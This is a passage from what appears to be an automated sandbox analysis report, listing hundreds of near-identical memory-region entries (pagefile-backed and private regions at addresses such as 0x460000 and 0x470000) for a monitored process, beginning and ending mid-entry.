0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13581 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13582 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13583 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13584 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13585 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13586 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13587 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13588 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13589 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13590 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13591 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13592 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13593 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13594 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13595 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13596 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13597 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13598 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13599 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13600 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13601 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13602 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13603 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13604 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13605 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13606 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13607 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13608 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13609 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13610 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13611 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13612 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13613 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13614 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13615 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13616 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13617 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000470000" filename = "" Region: id = 13618 start_va = 0x2270000 end_va = 0x228ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002270000" filename = "" Region: id = 13619 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13620 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13621 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13622 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13623 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13624 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13625 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13626 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13627 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13629 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 13630 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 13631 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 13632 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 13633 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 13634 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 13635 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 13636 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 13637 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 13638 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 13639 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 13640 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 13641 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 13642 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 13643 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 13644 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 13645 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 13646 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 13647 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 13648 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 13649 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 13650 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 13651 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 13652 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 13653 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 13654 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 13655 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 13656 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 13657 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 13658 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 13659 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 13660 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 13661 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 13662 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 13663 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 13664 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 13665 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 13666 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 13667 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 13668 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 13669 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 13670 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 13671 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 13672 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 13673 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 13674 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 13675 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 13676 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 13677 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 13678 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 13679 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 13680 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 13681 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 13682 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 13683 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 13684 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 13685 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 13686 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 13687 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 13688 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 13689 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 13690 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 13691 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 13692 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 13693 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 13694 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 13695 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 13696 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 13697 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 13698 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 13699 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 13700 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 13701 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 13702 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 13703 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 13704 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 13705 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 13706 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 13707 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 13708 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 13709 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 13710 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 13711 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 13712 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 13713 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 13714 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 13715 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 13716 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 13717 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 13718 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 13719 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 13720 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 13721 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 13722 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 13723 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 13724 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 13725 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 13726 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 13727 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 13728 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 13729 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 13730 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 13731 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 13732 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 13733 start_va = 0x460000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 13734 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 13735 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 13736 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 13737 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 13738 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 13739 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 13740 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 13741 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 13742 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 13743 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 13744 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 13745 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 13746 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 13747 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 13748 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 13749 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 13750 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 13751 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 13752 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 13753 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 13754 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 13755 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 13756 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 13757 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 13758 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 13759 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 13760 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 13761 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 13762 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 13763 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 13764 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 13765 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 13766 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 13767 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 13768 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 13769 start_va = 